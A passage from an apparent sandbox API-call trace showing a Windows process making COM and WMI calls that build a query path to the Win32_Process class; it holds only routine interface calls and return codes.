(This=0x1bcc46c0) returned 0x0 [0160.071] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3fa40) returned 0x0 [0160.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0160.072] WbemDefPath:IUnknown:AddRef (This=0x1bc3fa40) returned 0x3 [0160.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0160.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0160.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc3fe0) returned 0x0 [0160.072] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3fe0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.072] WbemDefPath:IUnknown:Release (This=0x1bcc3fe0) returned 0x3 [0160.072] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0160.072] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0160.072] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0160.072] WbemDefPath:IUnknown:Release (This=0x1bc3fa40) returned 0x2 [0160.072] WbemDefPath:IUnknown:Release (This=0x1bc3fa40) returned 0x1 [0160.072] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0160.073] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0160.073] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fa40, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3fa40) returned 0x0 [0160.073] WbemDefPath:IUnknown:AddRef (This=0x1bc3fa40) returned 0x3 [0160.073] WbemDefPath:IUnknown:Release (This=0x1bc3fa40) returned 0x2 [0160.073] WbemDefPath:IWbemPath:SetText (This=0x1bc3fa40, uMode=0x4, pszPath="") returned 0x0 [0160.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fa40, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0160.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fbc0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0160.073] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc3fa40, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0160.073] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3fa40, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0160.073] WbemDefPath:IWbemPath:SetServer (This=0x1bc3fa40, Name="Q9IATRKPRH") returned 0x0 [0160.073] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0160.073] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0160.073] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0160.073] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.075] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc4000) returned 0x0 [0160.075] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4000, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0160.075] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4000, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3f980) returned 0x0 [0160.075] WbemDefPath:IUnknown:Release (This=0x1bcc4000) returned 0x0 [0160.075] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3f980) returned 0x0 [0160.076] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0160.076] WbemDefPath:IUnknown:AddRef (This=0x1bc3f980) returned 0x3 [0160.076] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0160.076] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0160.076] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc4020) returned 0x0 [0160.076] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4020, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.076] WbemDefPath:IUnknown:Release (This=0x1bcc4020) returned 0x3 [0160.076] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0160.076] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0160.076] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0160.076] WbemDefPath:IUnknown:Release (This=0x1bc3f980) returned 0x2 [0160.076] WbemDefPath:IUnknown:Release (This=0x1bc3f980) returned 0x1 [0160.076] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0160.077] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0160.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f980, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3f980) returned 0x0 [0160.077] WbemDefPath:IUnknown:AddRef (This=0x1bc3f980) returned 0x3 [0160.077] WbemDefPath:IUnknown:Release (This=0x1bc3f980) returned 0x2 [0160.077] WbemDefPath:IWbemPath:SetText (This=0x1bc3f980, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0160.077] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fa40, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0160.077] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f980, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0160.077] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f980, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0160.077] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f980, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0160.077] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc3fa40) returned 0x0 [0160.077] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f980, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0160.077] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f980, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0160.077] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f980, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0160.077] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3fa40, uIndex=0x0, pszName="ROOT") returned 0x0 [0160.077] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f980, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0160.077] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc3f980, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0160.077] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc3fa40, uIndex=0x1, pszName="CIMV2") returned 0x0 [0160.077] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc3fa40, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0160.077] WbemDefPath:IWbemPath:SetClassName (This=0x1bc3fa40, Name="Win32_Process") returned 0x0 [0160.077] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3fa40, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0160.078] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fa40, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0160.078] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fa40, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0160.078] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fa40, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0160.078] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3fa40, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0160.078] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fa40, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0160.078] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fa40, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0160.078] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fa40, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0160.078] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fe00, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0160.078] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0160.078] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0160.078] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fa40, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0160.078] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fa40, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0160.078] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0160.078] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0160.078] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0160.078] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.081] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bcc3480) returned 0x0 [0160.081] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3480, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0160.081] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3480, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc3f8c0) returned 0x0 [0160.081] WbemDefPath:IUnknown:Release (This=0x1bcc3480) returned 0x0 [0160.081] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc3f8c0) returned 0x0 [0160.081] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0160.081] WbemDefPath:IUnknown:AddRef (This=0x1bc3f8c0) returned 0x3 [0160.081] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0160.081] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0160.082] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bcc34c0) returned 0x0 [0160.082] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc34c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.082] WbemDefPath:IUnknown:Release (This=0x1bcc34c0) returned 0x3 [0160.082] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0160.082] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0160.082] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0160.082] WbemDefPath:IUnknown:Release (This=0x1bc3f8c0) returned 0x2 [0160.082] WbemDefPath:IUnknown:Release (This=0x1bc3f8c0) returned 0x1 [0160.082] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0160.082] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0160.082] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f8c0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc3f8c0) returned 0x0 [0160.082] WbemDefPath:IUnknown:AddRef (This=0x1bc3f8c0) returned 0x3 [0160.082] WbemDefPath:IUnknown:Release (This=0x1bc3f8c0) returned 0x2 [0160.082] WbemDefPath:IWbemPath:SetText (This=0x1bc3f8c0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0160.082] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fe00, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0160.082] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0160.082] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fe00, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.082] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0160.083] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0160.083] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0160.083] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.085] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc3440) returned 0x0 [0160.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc3440, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0160.085] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc3440, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3f740) returned 0x0 [0160.085] WbemDefPath:IUnknown:Release (This=0x1bcc3440) returned 0x0 [0160.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3f740) returned 0x0 [0160.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0160.085] WbemDefPath:IUnknown:AddRef (This=0x1bc3f740) returned 0x3 [0160.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0160.085] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f740, 